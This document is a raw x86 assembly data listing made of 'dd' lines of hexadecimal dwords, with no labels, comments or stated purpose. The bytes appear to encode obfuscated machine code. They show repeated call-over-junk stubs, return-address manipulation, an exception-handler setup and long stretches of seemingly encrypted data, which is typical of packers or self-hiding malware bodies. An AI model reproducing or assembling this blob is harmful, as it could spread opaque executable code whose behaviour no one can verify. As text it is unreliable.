dd 43000000h, 0B7D2C353h, 9AFC5F3Eh, 8B6B0B5Bh, 51858BFEh
dd 0E8061F17h, 0Dh, 38B64462h, 2A0110BFh, 0FDC48519h, 0F9858980h
dd 5B061F16h, 13E9h, 1A749B00h, 5C5793B4h, 0FF4D796Ch
dd 1A867437h, 0B4E3F2FEh, 8B0000C6h, 1F3021BDh, 9185C706h
dd 61F12h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 7397C351h, 9E9A5BFh, 0CD000000h
dd 7612DD7Dh, 0D7466067h, 0FFF393E9h, 0AD9589FFh, 8B061F1Eh
dd 25BD8BC1h, 8D061F08h, 1F19BD85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 7A3ACEE1h
dd 0A10FAB65h, 8950436Dh, 81662404h, 6AFAABF7h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 3DF8DB1h, 8D89C238h, 61F1B2Dh, 0BD89006Ah, 61F07E1h
dd 9D5C858Dh, 6A0623h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0B0E79FC3h, 5B97F947h, 0BD8BC256h
dd 61F15ADh, 5C083FCh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 48C35141h, 0E830FCFDh, 10h, 0D45839Bh
dd 3B824DFAh, 0C5056387h, 918EAE41h, 1C319589h, 815B061Fh
dd 86699DF3h, 12E8900Dh, 0B8000000h, 2D0D02Eh, 56A97512h
dd 0F34A67F0h, 3CD26DB6h, 48E0FC5h, 66000000h, 5F7CDEBBh
dd 0FE8B6650h, 50006A90h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0F7AC843h, 6AD9B7h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 6AF837A1h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 6B708C20h, 89F6F2C3h, 1F05DD8Dh, 6195FF06h
dd 6A061F01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0A6E8C353h, 8D0FCDC2h, 6, 0C52F781h
dd 8D8D13D1h, 622B1F2h, 0FFDA8B66h, 50006AD1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 8C34A6B2h
dd 45C1BB66h, 0EF5BD83h, 0F01061Fh, 8785h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 25DF5F57h, 614A0D15h, 60026AF9h, 28B0Fh, 61600000h
dd 0E29858Bh, 8B61061Fh, 1F2A85BDh, 10E89006h, 0A7000000h
dd 39391B67h, 0F3F9ABBFh, 528C9AAFh, 0BB33A7F7h, 7CF79412h
dd 0BF66505Bh, 6A90C49Ch, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0F99C356h, 95FFFAB7h
dd 61F2F55h, 679BBF66h, 0E0EE9h, 0E800h, 815D0000h, 239D66EDh
dd 12E906h, 26410000h, 0F75F3FEBh, 0AEA1A8Ah, 63DD9440h
dd 8AE67B9Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 43C35040h, 8E7539DFh, 460114EEh, 0BF5051A6h, 7BBFE634h
dd 858D5F5Fh, 6228EE4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 9FC35545h, 0BABDA9CAh, 8B202785h, 1F1AF19Dh
dd 6650F506h, 505FFB8Bh, 2810Fh, 32B70000h, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0F616C350h, 35FF6411h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A4C35747h
dd 0EDBE148Dh, 896436FBh, 25h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 96A28AAFh
dd 5B4EE381h, 85FF27B8h, 61F1029h, 0FF6AF98Bh, 12E9h, 0D8829800h
dd 0EECB6229h, 5806F0CFh, 2B6AEAFAh, 0FF1C25F4h, 1F1ECDB5h
dd 0FFDA8B06h, 1F1CED95h, 162E906h, 0CE90000h, 9E000000h
dd 16E28D32h, 5167D5Ch, 0B03F3B1Ah, 14E900h, 9A040000h
dd 6C7455D3h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h, 70E6B555h
dd 2BBF71E4h, 3C3366EFh, 25830F61h, 81000001h, 6F785DD3h
dd 0DAB70F22h, 0F9C8B60Fh, 6BAh, 0C9958900h, 29061F06h
dd 1F2E999Dh, 8BC18B06h, 1F0F699Dh, 4E8C106h, 38D0Fh, 8B660000h
dd 0E2F766FEh, 1D8C0Fh, 8B600000h, 1F0D858Dh, 10E906h
dd 42650000h, 2E42EFFCh, 96952D5Ah, 57558C73h, 2B61CEBEh
dd 5E8C8h, 6CB70000h, 1584A4Ah, 1F18F185h, 0D18B5F06h
dd 0DE9h, 981B2800h, 0B52CC010h, 0A1E4250Ch, 0CE9A134h
dd 8B000000h, 1F14A59Dh, 0D59D8906h, 8B061F08h, 1F209185h
dd 0EE906h, 660D0000h, 36C0BAB6h, 539F8C5Dh, 41937E7Bh
dd 8107C083h, 8198EE3h, 259D8B7Ah, 83061F23h, 1FBB00C0h
dd 3B3E2569h, 11830FD0h, 29000000h, 1F1895B5h, 52E906h
dd 0BD8B0000h, 61F1909h, 1D3D8D8Bh, 0B589061Fh, 61F1501h
dd 0F01E183h, 3784h, 0A8E38100h, 83570EE8h, 1F1D3DA5h
dd 9D09FE06h, 61F2019h, 0EE8h, 2D5FF500h, 56ACCA08h, 3B73F31Dh
dd 0F71F636h, 895BF8BFh, 1F209195h, 0E9D98B06h, 0
dd 0CDDB58Dh, 6A0623h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0E4FEC3h, 0F98BE806h, 38F0Fh, 0E3800000h
dd 6A006AF1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0F6A9C356h, 7059532h, 1D4595FFh
dd 0BD03061Fh, 61F1B3Dh, 73EB9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0E64707EDh
dd 8309A45Eh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 36CC6DC3h, 959D01FCh, 2B061F15h
dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 23013B74h, 1025906h, 0CB816624h, 0BE802E4h
dd 77000000h, 0F4509BDAh, 0A818F5C8h, 8166B84Dh, 5F20C9DFh
dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 21866DC3h, 8DA85874h, 0DE950h, 0E6200000h
dd 0F5E8C891h, 0CF417438h, 5B09F82Dh, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 11E9h, 0B6607700h, 0A4ED51CCh, 0EDB39E16h
dd 958D37DEh, 0A6BF4076h, 812E28ECh, 0DB703DE3h, 880D3Ch
dd 8B660000h, 26F381DAh, 8B421BC3h, 1F0B5D95h, 41B50906h
dd 8B061F15h, 1F20C58Dh, 0DA8B6606h, 7472CB81h, 8B50719Ah
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 2280375Bh
dd 0CE9h, 373A1D00h, 0E22074C9h, 2F6DD56Bh, 0EF816647h
dd 7E98AC1h, 38000000h, 909DCABBh, 0BD83A38Eh, 61F078Dh
dd 0A4840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 732C355h, 0E928EF02h
dd 9, 85454BAEh, 4B80D6B8h, 0B887h, 0FBB0000h, 8D37EB2Fh
dd 1F4DB08Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 5DBD8B60h, 0FF061F13h, 56006AE1h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 75F730B9h, 55EDC8FCh, 7DBB6656h, 10E85BDBh, 8C000000h
dd 8B5298FDh, 6B7DBB91h, 302A4E9Eh, 0FB7659Eh, 835FD9BFh
dd 1F137DBDh, 840F0006h, 485h, 8E96060h, 0D7000000h, 0CE4CCFFAh
dd 603E56BFh, 83616161h, 1F137DBDh, 840F0106h, 480h, 23B58D89h
dd 8B66061Fh, 7DBD83F8h, 3061F13h, 434860Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 678062C3h, 0F9F38166h, 0EE8B4h, 2FCB0000h, 0BAF8E855h
dd 64B21132h, 788360CAh, 5FFB8B66h, 0AE9h, 86703100h, 0CB2ACB0Eh
dd 60D015B6h, 9D8B7FB7h, 61F0025h, 80D98C66h, 6A04E1h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 390ADDC3h, 0E52BE12Ah, 0AB1B363h, 50840FC9h, 0E8000001h
dd 12h, 0FF97BD34h, 4EE29511h, 1881CC86h, 11D0D594h, 0FB8B1540h
dd 0C1858B5Fh, 31061F0Dh, 1F08F98Dh, 0C9853306h, 89061F2Eh
dd 1F0585BDh, 36BF5006h, 8966823Eh, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C110FFC3h
dd 0EC04399Ch, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0ACF2F1C3h, 89EC499Eh, 1F112985h
dd 0A5BD8B06h, 0E8061F0Ah, 4, 1F03FFh, 50DF8B66h, 3870Fh
dd 8B660000h, 24448BDFh, 28B0F04h, 8B000000h, 66008BFBh
dd 4489DE8Bh, 8B660424h, 6A58D8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 182393C3h, 95FFD156h
dd 61F2DE1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0BFC35545h, 0B2558589h, 6A0622h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 9447E5C3h
dd 1EFE99Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0D9BB0CC3h, 6612946Fh, 66DCE2BBh
dd 8BF52FBFh, 22B24D85h, 0DE8B6606h, 1800C7h, 9D8B0000h
dd 61F1D9Dh, 8E9h, 8BA33E00h, 131D3680h, 51B58BD8h, 6A0622B2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 577C355h, 35E90BA1h, 1D61C655h, 23C58D09h
dd 858B061Fh, 61F13A1h, 10E8h, 234F3500h, 0FCF83AB4h, 0A598767Dh
dd 274E452Ah, 899D3323h, 5F061F16h, 12E90689h, 0EF000000h
dd 8EB6121Dh, 0BB4F2E9h, 5C10C412h, 0C7F99717h, 6A82BB26h
dd 858B2AE2h, 61F0DC1h, 2FDBD0Bh, 0BD8B061Fh, 61F07E1h
dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 7749C350h, 8F2C32F7h, 0DB15E349h
dd 9DE1BB66h, 128A0F50h, 60000000h, 0D943EAB8h, 6E933h
dd 6D000000h, 3599186Ch, 24348961h, 0BD09FA8Bh, 61F123Dh
dd 0B24DB5FFh, 830F0622h, 6, 18D1BD33h, 0DE8061Fh, 51000000h
dd 0A028D711h, 705737D8h, 0AD54394Ch, 20B9BD33h, 685B061Fh
dd 54912C94h, 0C953BB66h, 6B243481h, 6A548E2Fh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0EB32C352h, 0D47B91CBh, 893A5081h, 1F021185h, 55858D06h
dd 6A0622B2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 41C4C353h, 50F8553Fh, 0E400BB57h
dd 895B237Eh, 9D8B2404h, 61F116Dh, 2DE195FFh, 6A061Fh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0D38015C3h, 0BE9F4h, 2D4B0000h, 554117Ch, 6997C7E0h
dd 6A610Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 85C7B4C3h, 61F137Dh, 3, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 89C35141h, 0BDDC0C76h, 8BBFB08Fh
dd 1F1EADBDh, 55BD8306h, 622B2h, 3C840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0BF10BDC3h, 83C38178h, 0E97C0370h, 2Dh, 14F19D8Bh, 8B0F061Fh
dd 6, 1F35BD8Bh, 3050061Fh, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0F19D8BC0h, 0F061F2Bh, 0C85h
dd 6820F00h, 0F000000h, 82h, 7DBD8300h, 3061F13h, 3EE850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0F5DB5DC3h, 570E5AC9h, 55BD83F1h, 622B2h
dd 3BE840Fh, 0DB800000h, 0E5DF8163h, 0FF4F22EEh, 22B255B5h
dd 0F850F06h, 0E9000000h, 0Ah, 683C47FDh, 7D9AB686h, 95FF07F4h
dd 61F1BC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0D7C35343h, 5E5E00CCh, 68A0FACh, 8B000000h, 1F2BB9BDh
dd 49B58B06h, 6A0622B2h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0BB54C357h, 8211E256h, 8D319557h, 61F18FDh
dd 106C7h, 0BD890001h, 61F1C45h, 0BF525050h, 4D3B9929h
dd 13E9310Fh, 0ED000000h, 4AB636FBh, 93EC647Ch, 64654D2Fh
dd 83694337h, 585AA613h, 6A243489h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C20BC352h
dd 71BD8B80h, 0FF061F0Ch, 22B255B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D8B5ADDh
dd 61F1045h, 162195FFh, 0FE9061Fh, 63000000h, 0E5E399FEh
dd 0E774666Bh, 746AAD0Fh, 0B58B238Bh, 622B249h, 8E9h, 8D873500h
dd 0D6F655E5h, 0F1858BC6h, 89061F2Fh, 1F05E59Dh, 0C4868906h
dd 0F000000h, 958BD9BFh, 61F0B5Dh, 0BC9BD8Bh, 0C283061Fh
dd 20508904h, 0DB19D8Bh, 858D061Fh, 622C797h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1FC35747h, 894D0CDDh
dd 0B886h, 15B50100h, 6A061F0Dh, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 9E8E8h, 404E0000h
dd 5FB6C5A8h, 34793E4h, 1F1BE99Dh, 0B5FF5F06h, 622B255h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 45C35343h
dd 0FF7A5BCBh, 1F2F5595h, 0F3E38006h, 6E952h, 0C36D0000h
dd 181FE24Ch, 0F88A965Fh, 48C0F50h, 66000000h, 96F286BBh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h
dd 0D8F9EEADh, 880FCC26h, 1, 55B5FFF9h, 890622B2h, 1F247DBDh
dd 1D95FF06h, 6A061F0Eh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0E86AC355h, 12h, 9452A3B7h
dd 42DEBE67h, 16779207h, 59D852DFh, 0F60119Ch, 6160C8BFh
dd 0BD835F61h, 61F2C0Dh, 1D840F00h, 0E9000000h, 9, 1901D176h
dd 0F14D03A2h, 0BF515042h, 290FB6FEh, 2434895Fh, 3BA1BB66h
dd 0B255B5FFh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 8B4948C3h, 1F1465BDh, 0CB816606h
dd 95FF30FBh, 61F1349h, 174DBD8Bh, 0B5FF061Fh, 622B255h
dd 2A659D8Bh, 95FF061Fh, 61F1075h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 18C35040h, 1BBD501Ah, 66D1C1DFh
dd 0BD83F88Bh, 61F0009h, 5D840F02h, 0E8000000h, 5, 0FA97C200h
dd 3D8D898Fh, 5B061F2Dh, 1751858Bh, 0BF66061Fh, 0C6E67Ch
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 622B7811h, 14E945h, 7E6A0000h, 5C97A40Ch
dd 64E0ACh, 0C3AD1E86h, 56F7FB0Ch, 0BD897D46h, 61F0EF9h
dd 129185C7h, 61Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0EA6D9EC3h, 0B43E8A83h
dd 0B589C757h, 61F12D9h, 0FFF30DE9h, 79B589FFh, 8B061F07h
dd 0FD9529C1h, 8D061F0Ah, 1F19BD85h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BF66A456h
dd 90FCFE06h, 50D98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 60006A01h, 8B66D68Bh
dd 6A61F3h, 95316060h, 61F010Dh, 12158D8Bh, 0F961061Fh
dd 2D858D61h, 6A0623ADh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0E92AC355h, 54BC72F6h
dd 5D98D29h, 0C083061Fh, 85958905h, 50061F2Dh, 0E820Fh
dd 5E80000h, 0B7000000h, 4BC4ABBCh, 5FFB8B66h, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0FF38C351h, 68A0F08h, 81000000h, 9C2978EBh
dd 6A006A73h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 7BCC355h, 0BE9h, 76595200h, 446A5D5Ch
dd 3F8EF4FEh, 9D8B006Ah, 61F18F9h, 16195FFh, 0DB80061Fh
dd 0F28D8D75h, 6A0622B1h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0D14AC356h, 0DD77FF8Dh
dd 40004E14h, 0E99D8Bh, 0CB81061Fh, 321DA33Bh, 6AD1FFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 83BFF8C3h, 1F0EF5BDh, 850F0106h, 3Dh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h, 7EE41C77h
dd 89026AF8h, 1F1BD595h, 0BF665006h, 489629Ch, 899D0B24h
dd 0FF061F0Ch, 1F2F5595h, 0DB7E906h, 0E80000h, 5D000000h
dd 0AD37ED81h, 6A0623h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 60DCE1C3h, 45BD89A5h, 0E9061F1Bh
dd 9, 731728D4h, 8651973Fh, 0E4858D1Dh, 6A06228Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 25C8C355h, 0E08C30A8h, 8BAC2504h, 1F2401BDh, 90509006h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 91C35242h
dd 0FF0CC27h, 8Dh, 35FF6400h, 0
dd 1571BD8Bh, 8964061Fh, 25h, 0DE900h, 82150000h, 747AC333h
dd 639A741Bh, 0FF07E16Eh, 1F102985h, 77A3BF06h, 0FF6A1831h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 70C35747h
dd 24F6438Eh, 0DACCB176h, 71BD0B62h, 0FF061F15h, 1F0D29B5h
dd 0DF8B6606h, 1CED95FFh, 40E9061Fh, 0E8000001h, 10h, 0C6E14BDh
dd 7C686234h, 0C4DA0602h, 490B4118h, 2C119589h, 0B05F061Fh
dd 38E0F00h, 80000000h, 70E6BCC3h, 2DB59D0Bh, 9D89061Fh
dd 61F1909h, 9D2371E4h, 61F0165h, 830F613Ch, 0FBh, 81C8B60Fh
dd 10E83ADFh, 6BA59h, 11E90000h, 0D6000000h, 0A513D8BCh
dd 672B9BF3h, 0F00E3DDFh, 840162CFh, 0B351C18Bh, 0E8C15F98h
dd 9958904h, 66061F16h, 0BD29E2F7h, 61F0B75h, 0CE9C82Bh
dd 5B000000h, 0F7B3E846h, 678CC5FEh, 8B66A126h, 0F19D33D1h
dd 0E9061F0Fh, 13h, 1830Fh, 0FF80000h, 68Ch, 3D9D8B00h
dd 8B061F30h, 1F119D85h, 4A10BF06h, 0C08312E8h, 0C08307h
dd 2830Fh, 5CB70000h, 830FD03Bh, 25h, 6E8h, 738C7100h
dd 8989F182h, 1F005D85h, 54E95B06h, 0E9000000h, 9, 0BA7F7122h
dd 88535E4Fh, 0C18D8BF3h, 8B061F1Eh, 1E183DEh, 35840Fh
dd 0BD2B0000h, 61F124Dh, 1EC1A583h, 0E9FE061Fh, 0Ch, 6816164Ch
dd 5E6D8AD0h, 0C325C561h, 119D9589h, 860F061Fh, 6, 1099BD8Bh
dd 0E9061Fh, 8D000000h, 231682B5h, 6840F06h, 9000000h
dd 1F2019B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0BE1BC352h, 0C7BF66AAh
dd 35858935h, 0FF061F24h, 1F1D4595h, 0E19D3306h, 89061F1Bh
dd 1F1F11B5h, 8A2B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 59B5E3C3h, 0DBB70F57h
dd 0FFCE183h, 9589DABFh, 61F2BE1h, 0B8FD8AFCh, 0
dd 0DB80FC60h, 0D22B61EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0B6C35242h, 0B70F5D46h, 0C233ADDEh, 0D003E8D1h
dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 8C13F18Ch, 2E2BD4F5h, 6AFA8B66h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 22B8C355h, 511591DDh, 4982DBF4h, 6840Fh
dd 0D3810000h, 183E4FC8h, 880Dh, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9DBFDB2Fh
dd 0B7DAB70Fh, 5D958BF3h, 6A061F0Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2CAEC355h
dd 8D8B52B7h, 61F20C5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0C4C35040h, 0BD0B1BAEh, 61F1B85h, 2D899D89h
dd 8B50061Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 8D89FB8Bh, 61F0085h, 78DBD83h, 0F00061Fh, 5B84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 2043209Bh, 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 1E4BDC3h, 1F149D9Dh
dd 0B08D8D06h, 66061F4Dh, 3B2CD781h, 0CB81E1FFh, 2C37E8A0h
dd 137DBD83h, 0F00061Fh, 3D584h, 5E800h, 0DE480000h, 661A5E24h
dd 5F133DBBh, 137DBD83h, 0F01061Fh, 3D484h, 5BD8B00h, 83061F2Ch
dd 1F137DBDh, 860F0306h, 38Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 23C35646h, 6E8h, 1CF71100h
dd 66F48C64h, 5435F781h, 6A605Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0D01088C3h, 6729C7C2h
dd 8C66463Dh, 6880FD9h, 29000000h, 1F1579BDh, 4E18006h
dd 65E38166h, 0FC90AAFh, 0E584h, 14E900h, 5C8B0000h, 5ECB640h
dd 0A89B5208h, 7BE7F0D6h, 0B21FFC52h, 4ABBC7B2h, 8B52743Ah
dd 1F0DC185h, 0CD9D8B06h, 33061F1Bh, 1F2EC985h, 0EB816606h
dd 50905205h, 0BE8h, 0A167800h, 95B005A4h, 0F37003Bh, 6A905Fh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0CB7383C3h, 33006A99h, 1F30C5BDh, 4D716806h, 0BB5053BFh
dd 8586628h, 2434815Bh, 53A04E8Eh, 1F8D9531h, 95FF061Fh
dd 61F2DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0DFC35040h, 168A0F85h, 60000000h, 9E9h, 0BAFA8800h
dd 54F06D3Ch, 0B529D56Ah, 61F1241h, 55858961h, 8B0622B2h
dd 1F13919Dh, 191E906h, 8F0F0000h, 6, 30D19589h, 858B061Fh
dd 622B24Dh, 7F19589h, 0C7061Fh, 18h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 53C35343h, 0F585298Fh, 8B061F31h
dd 22B251B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0E62566BAh, 9E12C0Ch, 1F123DBDh
dd 810F06h, 8B000000h, 1F13A185h, 0CD9D8906h, 89061F1Dh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0C1858BB8h, 31061F0Dh, 1F30FD9Dh, 4468906h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 63C35141h
dd 0E986E823h, 10h, 817C3DD5h, 7D143A28h, 0C083A89Eh, 0F8307459h
dd 50F98B96h, 8996F98Bh, 1F3049BDh, 4DB5FF06h, 6A0622B2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0A732C355h, 68254204h, 61A1D47h, 4258BB66h
dd 0B8243481h, 6A06051Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0B918C353h, 959D8BB9h
dd 8D061F2Dh, 22B25585h, 0F9950106h, 0F8061F0Ch, 0BF665050h
dd 895FEA90h, 9D8B2404h, 61F23A9h, 2DE195FFh, 6A061Fh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 547F0BC3h, 273C141Bh, 6100B4F1h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 71C35646h, 790F133Ah, 66D1555Eh
dd 3A31D381h, 137D85C7h, 3061Fh, 9D8B0000h, 61F3031h, 0B255BD83h
dd 0F000622h, 6A84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 8E909DCAh, 583DBA3h, 71DBD89h
dd 57E9061Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 57D6C351h, 3B1CFC89h
dd 12BB5329h, 0E91B6452h, 0Fh, 8987715Ah, 0E6C6404Ch, 3FB4462Fh
dd 5062056Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 5BDD3CC3h, 0BFF5E084h, 1B6B283Ch
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0ACC35141h
dd 425ECD6h, 83CDEB80h, 1F137DBDh, 850F0306h, 479h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6DC35545h, 68E0Fh
dd 0BD8B0000h, 61F0D7Dh, 0B255BD83h, 0F000622h, 44484h
dd 0FBBF0F00h, 0B255B5FFh, 9D8B0622h, 61F1071h, 1BC995FFh
dd 0BF66061Fh, 0B58B2323h, 622B249h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0D6C35747h, 0E9EAD87Dh, 5
dd 7A8F87C7h, 0D98B6698h, 106C7h, 6A0001h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 902B56C3h
dd 9D8B5B57h, 61F06A1h, 428BB50h, 348935EFh, 13E924h, 74D90000h
dd 21F1AAB0h, 731CB4EDh, 3C6BEB92h, 7328C0ACh, 55B5FFDEh
dd 6A0622B2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 81EAC352h, 4170028Eh, 0BB664833h
dd 95FF367Ch, 61F1621h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
